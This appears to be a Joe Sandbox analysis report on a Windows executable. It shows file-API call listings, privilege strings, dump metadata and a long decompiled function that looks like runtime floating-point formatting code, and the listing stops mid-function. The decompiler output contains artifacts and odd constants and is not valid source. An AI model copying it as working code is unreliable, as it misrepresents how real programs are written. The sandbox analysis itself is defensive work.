Part of subcall function 00CCB450: DeleteFileW.KERNEL32(?,?,?,00000800,?,00CCA416,?,?,?,?,00CC890B,?,?,?,00CF365F,000000FF), ref: 00CCB48F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00CC7C23
CloseHandle.KERNEL32(00000000), ref: 00CC7C3F
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00CC7D8B

Part of subcall function 00CCB012: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00CC7EB0,?,?,?,00000000), ref: 00CCB02C
Part of subcall function 00CCB012: SetFileTime.KERNELBASE(?,?,?,?), ref: 00CCB0E0

Part of subcall function 00CCA860: FindCloseChangeNotification.KERNELBASE(000000FF,?,?,00CCA81B,?,?,?,?,?,00CF365F,000000FF), ref: 00CCA87B

Part of subcall function 00CCB8C6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00CCB595,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB8DA
Part of subcall function 00CCB8C6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00CCB595,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB90B

Strings

UNC\, xrefs: 00CC7B3B
SeRestorePrivilege, xrefs: 00CC7AAC
\??\, xrefs: 00CC7B15
SeCreateSymbolicLinkPrivilege, xrefs: 00CC7AB6

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: File$Close$AttributesCreateDeleteHandle_wcslen$BuffersChangeCurrentErrorFindFlushH_prologLastNotificationProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2821348736-3508440684
Opcode ID: 820703cc9dd8af97ff9cf90fe1a3af2a3e29f1afe096bc3fae17db4e3045d558
Instruction ID: 4b1d442b83231af89ec3dd9d864ef033c3d6569cdf8824bc0381eaa2f3a176ab
Opcode Fuzzy Hash: 820703cc9dd8af97ff9cf90fe1a3af2a3e29f1afe096bc3fae17db4e3045d558
Instruction Fuzzy Hash: 90C1A571904249AFDB15DBA4CC46FEEB7ACEF04300F04465EF656E7282DB34AA44DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CEE8FE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 68%

			E00CEE8FE(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v32;
				signed int _v36;
				char _v460;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1865;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				intOrPtr _v1900;
				signed int _v1904;
				signed int _v1908;
				signed int _v1912;
				signed int _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				char _v1936;
				char _v1944;
				char _v2404;
				signed int _v2408;
				signed int _t743;
				signed int _t753;
				signed int _t754;
				intOrPtr _t763;
				signed int _t764;
				intOrPtr _t767;
				intOrPtr _t770;
				intOrPtr _t772;
				intOrPtr _t773;
				void* _t774;
				signed int _t777;
				signed int _t778;
				signed int _t784;
				void* _t789;
				signed int _t790;
				intOrPtr _t792;
				void* _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t805;
				signed int _t810;
				signed int _t811;
				signed int _t812;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t819;
				signed int _t820;
				signed int _t825;
				signed int _t826;
				signed int _t832;
				signed int _t833;
				signed int _t836;
				signed int _t841;
				signed int _t849;
				signed int* _t852;
				signed int _t856;
				signed int _t867;
				signed int _t868;
				signed int _t870;
				char* _t871;
				signed int _t874;
				signed int _t878;
				signed int _t879;
				signed int _t884;
				signed int _t886;
				signed int _t891;
				signed int _t900;
				signed int _t903;
				signed int _t905;
				signed int _t908;
				signed int _t909;
				signed int _t910;
				signed int _t913;
				signed int _t926;
				signed int _t927;
				signed int _t929;
				char* _t930;
				signed int _t933;
				signed int _t937;
				signed int _t938;
				signed int* _t940;
				signed int _t943;
				signed int _t945;
				signed int _t950;
				signed int _t958;
				signed int _t961;
				signed int _t965;
				signed int* _t972;
				intOrPtr _t974;
				void* _t975;
				intOrPtr* _t977;
				signed int* _t981;
				unsigned int _t992;
				signed int _t993;
				void* _t996;
				signed int _t997;
				void* _t999;
				signed int _t1000;
				signed int _t1001;
				signed int _t1002;
				signed int _t1012;
				signed int _t1017;
				signed int _t1020;
				unsigned int _t1023;
				signed int _t1024;
				void* _t1027;
				signed int _t1028;
				void* _t1030;
				signed int _t1031;
				signed int _t1032;
				signed int _t1033;
				signed int _t1038;
				signed int* _t1043;
				signed int _t1045;
				signed int _t1055;
				void* _t1056;
				void _t1058;
				signed int _t1061;
				void* _t1064;
				void* _t1071;
				signed int _t1077;
				signed int _t1078;
				void* _t1080;
				signed int _t1081;
				signed int _t1082;
				signed int _t1084;
				signed int _t1085;
				signed int _t1086;
				signed int _t1090;
				signed int _t1094;
				signed int _t1095;
				signed int _t1096;
				signed int _t1098;
				signed int _t1099;
				signed int _t1100;
				signed int _t1101;
				signed int _t1102;
				signed int _t1103;
				signed int _t1105;
				signed int _t1106;
				signed int _t1107;
				signed int _t1108;
				signed int _t1109;
				signed int _t1110;
				unsigned int _t1111;
				void* _t1114;
				intOrPtr _t1116;
				signed int _t1117;
				signed int _t1118;
				signed int _t1119;
				signed int* _t1123;
				void* _t1127;
				void* _t1128;
				signed int _t1129;
				signed int _t1130;
				signed int _t1131;
				signed int _t1134;
				signed int _t1135;
				signed int _t1140;
				signed int _t1142;
				signed int _t1143;
				signed int _t1151;
				signed int _t1152;
				signed int _t1153;
				signed int _t1154;
				signed int _t1155;
				signed int _t1156;
				signed int _t1157;
				signed int _t1161;
				signed int _t1162;
				signed int _t1163;
				signed int _t1164;
				signed int _t1165;
				unsigned int _t1168;
				void* _t1172;
				void* _t1173;
				unsigned int _t1174;
				signed int _t1179;
				signed int _t1180;
				signed int _t1182;
				signed int _t1183;
				intOrPtr* _t1185;
				signed int _t1186;
				void* _t1187;
				signed int _t1188;
				signed int _t1189;
				signed int _t1192;
				signed int _t1194;
				signed int _t1195;
				void* _t1196;
				signed int _t1197;
				signed int _t1198;
				signed int _t1199;
				void* _t1202;
				signed int _t1203;
				signed int _t1204;
				signed int _t1205;
				signed int _t1206;
				signed int _t1207;
				signed int* _t1210;
				signed int _t1211;
				signed int _t1212;
				signed int _t1213;
				signed int _t1214;
				intOrPtr* _t1216;
				intOrPtr* _t1217;
				signed int _t1219;
				signed int _t1221;
				signed int _t1224;
				signed int _t1230;
				signed int _t1234;
				signed int _t1235;
				void* _t1236;
				signed int _t1240;
				signed int _t1243;
				signed int _t1244;
				signed int _t1245;
				signed int _t1246;
				signed int _t1247;
				signed int _t1248;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1259;
				signed int _t1261;
				signed int _t1262;
				signed int _t1264;
				signed int _t1266;
				signed int _t1268;
				signed int _t1271;
				signed int _t1273;
				signed int* _t1274;
				signed int* _t1277;
				signed int _t1286;

				_t1142 = __edx;
				_t1271 = _t1273;
				_t1274 = _t1273 - 0x964;
				_t743 =  *0xd007a8; // 0x763902cb
				_v8 = _t743 ^ _t1271;
				_push(__ebx);
				_t1055 = _a20;
				_push(__esi);
				_push(__edi);
				_t1185 = _a16;
				_v1924 = _t1185;
				_v1920 = _t1055;
				E00CEE426( &_v1944, __eflags);
				_t1234 = _a8;
				_t748 = 0x2d;
				if((_t1234 & 0x80000000) == 0) {
					_t748 = 0x120;
				}
				 *_t1185 = _t748;
				 *((intOrPtr*)(_t1185 + 8)) = _t1055;
				_t1186 = _a4;
				if((_t1234 & 0x7ff00000) != 0) {
					L5:
					_t753 = E00CEA9A0( &_a4);
					_pop(_t1070);
					__eflags = _t753;
					if(_t753 != 0) {
						_t1070 = _v1924;
						 *((intOrPtr*)(_v1924 + 4)) = 1;
					}
					_t754 = _t753 - 1;
					__eflags = _t754;
					if(_t754 == 0) {
						_push("1#INF");
						goto L308;
					} else {
						_t777 = _t754 - 1;
						__eflags = _t777;
						if(_t777 == 0) {
							_push("1#QNAN");
							goto L308;
						} else {
							_t778 = _t777 - 1;
							__eflags = _t778;
							if(_t778 == 0) {
								_push("1#SNAN");
								goto L308;
							} else {
								__eflags = _t778 == 1;
								if(_t778 == 1) {
									_push("1#IND");
									goto L308;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a4 = _t1186;
									_a8 = _t1234 & 0x7fffffff;
									_t1286 = _a4;
									asm("fst qword [ebp-0x768]");
									_t1188 = _v1896;
									_v1916 = _a12 + 1;
									_t1077 = _t1188 >> 0x14;
									_t784 = _t1077 & 0x000007ff;
									__eflags = _t784;
									if(_t784 != 0) {
										_t1143 = 0;
										_t784 = 0;
										__eflags = 0;
									} else {
										_t1143 = 1;
									}
									_t1189 = _t1188 & 0x000fffff;
									_t1058 = _v1900 + _t784;
									asm("adc edi, esi");
									__eflags = _t1143;
									_t1078 = _t1077 & 0x000007ff;
									_t1240 = _t1078 - 0x434 + (0 | _t1143 != 0x00000000) + 1;
									_v1872 = _t1240;
									E00CF0470(_t1078, _t1286);
									_push(_t1078);
									 *_t1274 = _t1286;
									_t789 = E00CF0580();
									_t1080 = _t1078;
									_t790 = L00CF33B0(_t789, _t1058, _t1080, _t1143);
									_v1904 = _t790;
									__eflags = _t790 - 0x7fffffff;
									if(_t790 == 0x7fffffff) {
										L16:
										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t790 - 0x80000000;
										if(_t790 == 0x80000000) {
											goto L16;
										}
									}
									_v468 = _t1058;
									__eflags = _t1189;
									_v464 = _t1189;
									_t1061 = (0 | _t1189 != 0x00000000) + 1;
									_v472 = _t1061;
									__eflags = _t1240;
									if(_t1240 < 0) {
										__eflags = _t1240 - 0xfffffc02;
										if(_t1240 == 0xfffffc02) {
											L101:
											_t792 =  *((intOrPtr*)(_t1271 + _t1061 * 4 - 0x1d4));
											_t195 =  &_v1896;
											 *_t195 = _v1896 & 0x00000000;
											__eflags =  *_t195;
											asm("bsr eax, eax");
											if( *_t195 == 0) {
												_t1081 = 0;
												__eflags = 0;
											} else {
												_t1081 = _t792 + 1;
											}
											_t793 = 0x20;
											_t794 = _t793 - _t1081;
											__eflags = _t794 - 1;
											_t795 = _t794 & 0xffffff00 | _t794 - 0x00000001 > 0x00000000;
											__eflags = _t1061 - 0x73;
											_v1865 = _t795;
											_t1082 = _t1081 & 0xffffff00 | _t1061 - 0x00000073 > 0x00000000;
											__eflags = _t1061 - 0x73;
											if(_t1061 != 0x73) {
												L107:
												_t796 = 0;
												__eflags = 0;
											} else {
												__eflags = _t795;
												if(_t795 == 0) {
													goto L107;
												} else {
													_t796 = 1;
												}
											}
											__eflags = _t1082;
											if(_t1082 != 0) {
												L126:
												_v1400 = _v1400 & 0x00000000;
												_t224 =  &_v472;
												 *_t224 = _v472 & 0x00000000;
												__eflags =  *_t224;
												E00CECDF1( &_v468, 0x1cc,  &_v1396, 0);
												_t1274 =  &(_t1274[4]);
											} else {
												__eflags = _t796;
												if(_t796 != 0) {
													goto L126;
												} else {
													_t1109 = 0x72;
													__eflags = _t1061 - _t1109;
													if(_t1061 < _t1109) {
														_t1109 = _t1061;
													}
													__eflags = _t1109 - 0xffffffff;
													if(_t1109 != 0xffffffff) {
														_t1258 = _t1109;
														_t1216 =  &_v468 + _t1109 * 4;
														_v1880 = _t1216;
														while(1) {
															__eflags = _t1258 - _t1061;
															if(_t1258 >= _t1061) {
																_t208 =  &_v1876;
																 *_t208 = _v1876 & 0x00000000;
																__eflags =  *_t208;
															} else {
																_v1876 =  *_t1216;
															}
															_t210 = _t1258 - 1; // 0x70
															__eflags = _t210 - _t1061;
															if(_t210 >= _t1061) {
																_t1168 = 0;
																__eflags = 0;
															} else {
																_t1168 =  *(_t1216 - 4);
															}
															_t1216 = _t1216 - 4;
															_t972 = _v1880;
															_t1258 = _t1258 - 1;
															 *_t972 = _t1168 >> 0x0000001f ^ _v1876 + _v1876;
															_v1880 = _t972 - 4;
															__eflags = _t1258 - 0xffffffff;
															if(_t1258 == 0xffffffff) {
																break;
															}
															_t1061 = _v472;
														}
														_t1240 = _v1872;
													}
													__eflags = _v1865;
													if(_v1865 == 0) {
														_v472 = _t1109;
													} else {
														_t218 = _t1109 + 1; // 0x73
														_v472 = _t218;
													}
												}
											}
											_t1192 = 1 - _t1240;
											E00CE1000(_t1192,  &_v1396, 0, 1);
											__eflags = 1;
											 *(_t1271 + 0xbad63d) = 1 << (_t1192 & 0x0000001f);
											_t805 = 0xbadbae;
										} else {
											_v1396 = _v1396 & 0x00000000;
											_t1110 = 2;
											_v1392 = 0x100000;
											_v1400 = _t1110;
											__eflags = _t1061 - _t1110;
											if(_t1061 == _t1110) {
												_t1172 = 0;
												__eflags = 0;
												while(1) {
													_t974 =  *((intOrPtr*)(_t1271 + _t1172 - 0x570));
													__eflags = _t974 -  *((intOrPtr*)(_t1271 + _t1172 - 0x1d0));
													if(_t974 !=  *((intOrPtr*)(_t1271 + _t1172 - 0x1d0))) {
														goto L101;
													}
													_t1172 = _t1172 + 4;
													__eflags = _t1172 - 8;
													if(_t1172 != 8) {
														continue;
													} else {
														_t166 =  &_v1896;
														 *_t166 = _v1896 & 0x00000000;
														__eflags =  *_t166;
														asm("bsr eax, edi");
														if( *_t166 == 0) {
															_t1173 = 0;
															__eflags = 0;
														} else {
															_t1173 = _t974 + 1;
														}
														_t975 = 0x20;
														_t1259 = _t1110;
														__eflags = _t975 - _t1173 - _t1110;
														_t977 =  &_v460;
														_v1880 = _t977;
														_t1217 = _t977;
														_t171 =  &_v1865;
														 *_t171 = _t975 - _t1173 - _t1110 > 0;
														__eflags =  *_t171;
														while(1) {
															__eflags = _t1259 - _t1061;
															if(_t1259 >= _t1061) {
																_t173 =  &_v1876;
																 *_t173 = _v1876 & 0x00000000;
																__eflags =  *_t173;
															} else {
																_v1876 =  *_t1217;
															}
															_t175 = _t1259 - 1; // 0x0
															__eflags = _t175 - _t1061;
															if(_t175 >= _t1061) {
																_t1174 = 0;
																__eflags = 0;
															} else {
																_t1174 =  *(_t1217 - 4);
															}
															_t1217 = _t1217 - 4;
															_t981 = _v1880;
															_t1259 = _t1259 - 1;
															 *_t981 = _t1174 >> 0x0000001e ^ _v1876 << 0x00000002;
															_v1880 = _t981 - 4;
															__eflags = _t1259 - 0xffffffff;
															if(_t1259 == 0xffffffff) {
																break;
															}
															_t1061 = _v472;
														}
														__eflags = _v1865;
														_t1111 = _t1110 - _v1872;
														_v472 = (0 | _v1865 != 0x00000000) + _t1110;
														_t1219 = _t1111 >> 5;
														_v1884 = _t1111;
														_t1261 = _t1219 << 2;
														E00CE1000(_t1219,  &_v1396, 0, _t1261);
														 *(_t1271 + _t1261 - 0x570) = 1 << (_v1884 & 0x0000001f);
														_t805 = _t1219 + 1;
													}
													goto L128;
												}
											}
											goto L101;
										}
										L128:
										_v1400 = _t805;
										_t1064 = 0x1cc;
										_v936 = _t805;
										__eflags = _t805 << 2;
										E00CECDF1( &_v932, 0x1cc,  &_v1396, _t805 << 2);
										_t1277 =  &(_t1274[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_t1262 = 2;
										_v1392 = 0x100000;
										_v1400 = _t1262;
										__eflags = _t1061 - _t1262;
										if(_t1061 != _t1262) {
											L53:
											_t992 = _v1872 + 1;
											_t993 = _t992 & 0x0000001f;
											_t1114 = 0x20;
											_v1876 = _t993;
											_t1221 = _t992 >> 5;
											_v1872 = _t1221;
											_v1908 = _t1114 - _t993;
											_t996 = E00CE01E0(1, _t1114 - _t993, 0);
											_t1116 =  *((intOrPtr*)(_t1271 + _t1061 * 4 - 0x1d4));
											_t997 = _t996 - 1;
											_t108 =  &_v1896;
											 *_t108 = _v1896 & 0x00000000;
											__eflags =  *_t108;
											asm("bsr ecx, ecx");
											_v1884 = _t997;
											_v1912 =  !_t997;
											if( *_t108 == 0) {
												_t1117 = 0;
												__eflags = 0;
											} else {
												_t1117 = _t1116 + 1;
											}
											_t999 = 0x20;
											_t1000 = _t999 - _t1117;
											_t1179 = _t1061 + _t1221;
											__eflags = _v1876 - _t1000;
											_v1892 = _t1179;
											_t1001 = _t1000 & 0xffffff00 | _v1876 - _t1000 > 0x00000000;
											__eflags = _t1179 - 0x73;
											_v1865 = _t1001;
											_t1118 = _t1117 & 0xffffff00 | _t1179 - 0x00000073 > 0x00000000;
											__eflags = _t1179 - 0x73;
											if(_t1179 != 0x73) {
												L59:
												_t1002 = 0;
												__eflags = 0;
											} else {
												__eflags = _t1001;
												if(_t1001 == 0) {
													goto L59;
												} else {
													_t1002 = 1;
												}
											}
											__eflags = _t1118;
											if(_t1118 != 0) {
												L81:
												__eflags = 0;
												_t1064 = 0x1cc;
												_v1400 = 0;
												_v472 = 0;
												E00CECDF1( &_v468, 0x1cc,  &_v1396, 0);
												_t1274 =  &(_t1274[4]);
											} else {
												__eflags = _t1002;
												if(_t1002 != 0) {
													goto L81;
												} else {
													_t1119 = 0x72;
													__eflags = _t1179 - _t1119;
													if(_t1179 >= _t1119) {
														_t1179 = _t1119;
														_v1892 = _t1119;
													}
													_t1012 = _t1179;
													_v1880 = _t1012;
													__eflags = _t1179 - 0xffffffff;
													if(_t1179 != 0xffffffff) {
														_t1180 = _v1872;
														_t1264 = _t1179 - _t1180;
														__eflags = _t1264;
														_t1123 =  &_v468 + _t1264 * 4;
														_v1888 = _t1123;
														while(1) {
															__eflags = _t1012 - _t1180;
															if(_t1012 < _t1180) {
																break;
															}
															__eflags = _t1264 - _t1061;
															if(_t1264 >= _t1061) {
																_t1224 = 0;
																__eflags = 0;
															} else {
																_t1224 =  *_t1123;
															}
															__eflags = _t1264 - 1 - _t1061;
															if(_t1264 - 1 >= _t1061) {
																_t1017 = 0;
																__eflags = 0;
															} else {
																_t1017 =  *(_t1123 - 4);
															}
															_t1020 = _v1880;
															_t1123 = _v1888 - 4;
															_v1888 = _t1123;
															 *(_t1271 + _t1020 * 4 - 0x1d0) = (_t1224 & _v1884) << _v1876 | (_t1017 & _v1912) >> _v1908;
															_t1012 = _t1020 - 1;
															_t1264 = _t1264 - 1;
															_v1880 = _t1012;
															__eflags = _t1012 - 0xffffffff;
															if(_t1012 != 0xffffffff) {
																_t1061 = _v472;
																continue;
															}
															break;
														}
														_t1179 = _v1892;
														_t1221 = _v1872;
														_t1262 = 2;
													}
													__eflags = _t1221;
													if(_t1221 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1221 << 2);
														_t1274 =  &(_t1274[3]);
													}
													__eflags = _v1865;
													_t1064 = 0x1cc;
													if(_v1865 == 0) {
														_v472 = _t1179;
													} else {
														_v472 = _t1179 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = _t1262;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1127 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1271 + _t1127 - 0x570)) -  *((intOrPtr*)(_t1271 + _t1127 - 0x1d0));
												if( *((intOrPtr*)(_t1271 + _t1127 - 0x570)) !=  *((intOrPtr*)(_t1271 + _t1127 - 0x1d0))) {
													goto L53;
												}
												_t1127 = _t1127 + 4;
												__eflags = _t1127 - 8;
												if(_t1127 != 8) {
													continue;
												} else {
													_t1023 = _v1872 + 2;
													_t1024 = _t1023 & 0x0000001f;
													_t1128 = 0x20;
													_t1129 = _t1128 - _t1024;
													_v1888 = _t1024;
													_t1266 = _t1023 >> 5;
													_v1876 = _t1266;
													_v1908 = _t1129;
													_t1027 = E00CE01E0(1, _t1129, 0);
													_v1896 = _v1896 & 0x00000000;
													_t1028 = _t1027 - 1;
													__eflags = _t1028;
													asm("bsr ecx, edi");
													_v1884 = _t1028;
													_v1912 =  !_t1028;
													if(_t1028 == 0) {
														_t1130 = 0;
														__eflags = 0;
													} else {
														_t1130 = _t1129 + 1;
													}
													_t1030 = 0x20;
													_t1031 = _t1030 - _t1130;
													_t1182 = _t1266 + 2;
													__eflags = _v1888 - _t1031;
													_v1880 = _t1182;
													_t1032 = _t1031 & 0xffffff00 | _v1888 - _t1031 > 0x00000000;
													__eflags = _t1182 - 0x73;
													_v1865 = _t1032;
													_t1131 = _t1130 & 0xffffff00 | _t1182 - 0x00000073 > 0x00000000;
													__eflags = _t1182 - 0x73;
													if(_t1182 != 0x73) {
														L28:
														_t1033 = 0;
														__eflags = 0;
													} else {
														__eflags = _t1032;
														if(_t1032 == 0) {
															goto L28;
														} else {
															_t1033 = 1;
														}
													}
													__eflags = _t1131;
													if(_t1131 != 0) {
														L50:
														__eflags = 0;
														_t1064 = 0x1cc;
														_v1400 = 0;
														_v472 = 0;
														E00CECDF1( &_v468, 0x1cc,  &_v1396, 0);
														_t1274 =  &(_t1274[4]);
													} else {
														__eflags = _t1033;
														if(_t1033 != 0) {
															goto L50;
														} else {
															_t1134 = 0x72;
															__eflags = _t1182 - _t1134;
															if(_t1182 >= _t1134) {
																_t1182 = _t1134;
																_v1880 = _t1134;
															}
															_t1135 = _t1182;
															_v1892 = _t1135;
															__eflags = _t1182 - 0xffffffff;
															if(_t1182 != 0xffffffff) {
																_t1183 = _v1876;
																_t1268 = _t1182 - _t1183;
																__eflags = _t1268;
																_t1043 =  &_v468 + _t1268 * 4;
																_v1872 = _t1043;
																while(1) {
																	__eflags = _t1135 - _t1183;
																	if(_t1135 < _t1183) {
																		break;
																	}
																	__eflags = _t1268 - _t1061;
																	if(_t1268 >= _t1061) {
																		_t1230 = 0;
																		__eflags = 0;
																	} else {
																		_t1230 =  *_t1043;
																	}
																	__eflags = _t1268 - 1 - _t1061;
																	if(_t1268 - 1 >= _t1061) {
																		_t1045 = 0;
																		__eflags = 0;
																	} else {
																		_t1045 =  *(_v1872 - 4);
																	}
																	_t1140 = _v1892;
																	 *(_t1271 + _t1140 * 4 - 0x1d0) = (_t1045 & _v1912) >> _v1908 | (_t1230 & _v1884) << _v1888;
																	_t1135 = _t1140 - 1;
																	_t1268 = _t1268 - 1;
																	_t1043 = _v1872 - 4;
																	_v1892 = _t1135;
																	_v1872 = _t1043;
																	__eflags = _t1135 - 0xffffffff;
																	if(_t1135 != 0xffffffff) {
																		_t1061 = _v472;
																		continue;
																	}
																	break;
																}
																_t1182 = _v1880;
																_t1266 = _v1876;
															}
															__eflags = _t1266;
															if(_t1266 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1266 << 2);
																_t1274 =  &(_t1274[3]);
															}
															__eflags = _v1865;
															_t1064 = 0x1cc;
															if(_v1865 == 0) {
																_v472 = _t1182;
															} else {
																_v472 = _t1182 + 1;
															}
														}
													}
													_v1392 = _v1392 & 0x00000000;
													_t1038 = 4;
													__eflags = 1;
													_v1396 = _t1038;
													_v1400 = 1;
													_v936 = 1;
													_push(_t1038);
												}
												goto L52;
											}
											goto L53;
										}
										L52:
										_push( &_v1396);
										_push(_t1064);
										_push( &_v932);
										E00CECDF1();
										_t1277 =  &(_t1274[4]);
									}
									_t810 = _v1904;
									_t1084 = 0xa;
									_v1912 = _t1084;
									__eflags = _t810;
									if(_t810 < 0) {
										_t811 =  ~_t810;
										_t812 = _t811 / _t1084;
										_v1880 = _t812;
										_t1085 = _t811 % _t1084;
										_v1884 = _t1085;
										__eflags = _t812;
										if(_t812 == 0) {
											L249:
											__eflags = _t1085;
											if(_t1085 != 0) {
												_t849 =  *(0xcf946c + _t1085 * 4);
												_v1896 = _t849;
												__eflags = _t849;
												if(_t849 == 0) {
													L260:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L261;
												} else {
													__eflags = _t849 - 1;
													if(_t849 != 1) {
														_t1096 = _v472;
														__eflags = _t1096;
														if(_t1096 != 0) {
															_t1199 = 0;
															_t1248 = 0;
															__eflags = 0;
															do {
																_t1153 = _t849 *  *(_t1271 + _t1248 * 4 - 0x1d0) >> 0x20;
																 *(_t1271 + _t1248 * 4 - 0x1d0) = _t849 *  *(_t1271 + _t1248 * 4 - 0x1d0) + _t1199;
																_t849 = _v1896;
																asm("adc edx, 0x0");
																_t1248 = _t1248 + 1;
																_t1199 = _t1153;
																__eflags = _t1248 - _t1096;
															} while (_t1248 != _t1096);
															__eflags = _t1199;
															if(_t1199 != 0) {
																_t856 = _v472;
																__eflags = _t856 - 0x73;
																if(_t856 >= 0x73) {
																	goto L260;
																} else {
																	 *(_t1271 + _t856 * 4 - 0x1d0) = _t1199;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t812 - 0x26;
												if(_t812 > 0x26) {
													_t812 = 0x26;
												}
												_t1097 =  *(0xcf93d6 + _t812 * 4) & 0x000000ff;
												_v1872 = _t812;
												_v1400 = ( *(0xcf93d6 + _t812 * 4) & 0x000000ff) + ( *(0xcf93d7 + _t812 * 4) & 0x000000ff);
												E00CE1000(_t1097 << 2,  &_v1396, 0, _t1097 << 2);
												_t867 = E00CE2C10( &(( &_v1396)[_t1097]), 0xcf8ad0 + ( *(0xcf93d4 + _v1872 * 4) & 0x0000ffff) * 4, ( *(0xcf93d7 + _t812 * 4) & 0x000000ff) << 2);
												_t1098 = _v1400;
												_t1277 =  &(_t1277[6]);
												_v1892 = _t1098;
												__eflags = _t1098 - 1;
												if(_t1098 > 1) {
													__eflags = _v472 - 1;
													if(_v472 > 1) {
														__eflags = _t1098 - _v472;
														_t1202 =  &_v1396;
														_t868 = _t867 & 0xffffff00 | _t1098 - _v472 > 0x00000000;
														__eflags = _t868;
														if(_t868 != 0) {
															_t1154 =  &_v468;
														} else {
															_t1202 =  &_v468;
															_t1154 =  &_v1396;
														}
														_v1908 = _t1154;
														__eflags = _t868;
														if(_t868 == 0) {
															_t1098 = _v472;
														}
														_v1876 = _t1098;
														__eflags = _t868;
														if(_t868 != 0) {
															_v1892 = _v472;
														}
														_t1155 = 0;
														_t1250 = 0;
														_v1864 = 0;
														__eflags = _t1098;
														if(_t1098 == 0) {
															L243:
															_v472 = _t1155;
															_t870 = _t1155 << 2;
															__eflags = _t870;
															_push(_t870);
															_t871 =  &_v1860;
															goto L244;
														} else {
															_t1203 = _t1202 -  &_v1860;
															__eflags = _t1203;
															_v1928 = _t1203;
															do {
																_t878 =  *(_t1271 + _t1203 + _t1250 * 4 - 0x740);
																_v1896 = _t878;
																__eflags = _t878;
																if(_t878 != 0) {
																	_t879 = 0;
																	_t1204 = 0;
																	_t1099 = _t1250;
																	_v1888 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L240:
																		__eflags = _t1099 - 0x73;
																		if(_t1099 == 0x73) {
																			goto L258;
																		} else {
																			_t1203 = _v1928;
																			_t1098 = _v1876;
																			goto L242;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1099 - 0x73;
																			if(_t1099 == 0x73) {
																				goto L235;
																			}
																			__eflags = _t1099 - _t1155;
																			if(_t1099 == _t1155) {
																				 *(_t1271 + _t1099 * 4 - 0x740) =  *(_t1271 + _t1099 * 4 - 0x740) & 0x00000000;
																				_t891 = _t879 + 1 + _t1250;
																				__eflags = _t891;
																				_v1864 = _t891;
																				_t879 = _v1888;
																			}
																			_t886 =  *(_v1908 + _t879 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1271 + _t1099 * 4 - 0x740) =  *(_t1271 + _t1099 * 4 - 0x740) + _t886 * _v1896 + _t1204;
																			asm("adc edx, 0x0");
																			_t879 = _v1888 + 1;
																			_t1099 = _t1099 + 1;
																			_v1888 = _t879;
																			_t1204 = _t886 * _v1896 >> 0x20;
																			_t1155 = _v1864;
																			__eflags = _t879 - _v1892;
																			if(_t879 != _v1892) {
																				continue;
																			} else {
																				goto L235;
																			}
																			while(1) {
																				L235:
																				__eflags = _t1204;
																				if(_t1204 == 0) {
																					goto L240;
																				}
																				__eflags = _t1099 - 0x73;
																				if(_t1099 == 0x73) {
																					goto L258;
																				} else {
																					__eflags = _t1099 - _t1155;
																					if(_t1099 == _t1155) {
																						_t558 = _t1271 + _t1099 * 4 - 0x740;
																						 *_t558 =  *(_t1271 + _t1099 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t558;
																						_t564 = _t1099 + 1; // 0x1
																						_v1864 = _t564;
																					}
																					_t884 = _t1204;
																					_t1204 = 0;
																					 *(_t1271 + _t1099 * 4 - 0x740) =  *(_t1271 + _t1099 * 4 - 0x740) + _t884;
																					_t1155 = _v1864;
																					asm("adc edi, edi");
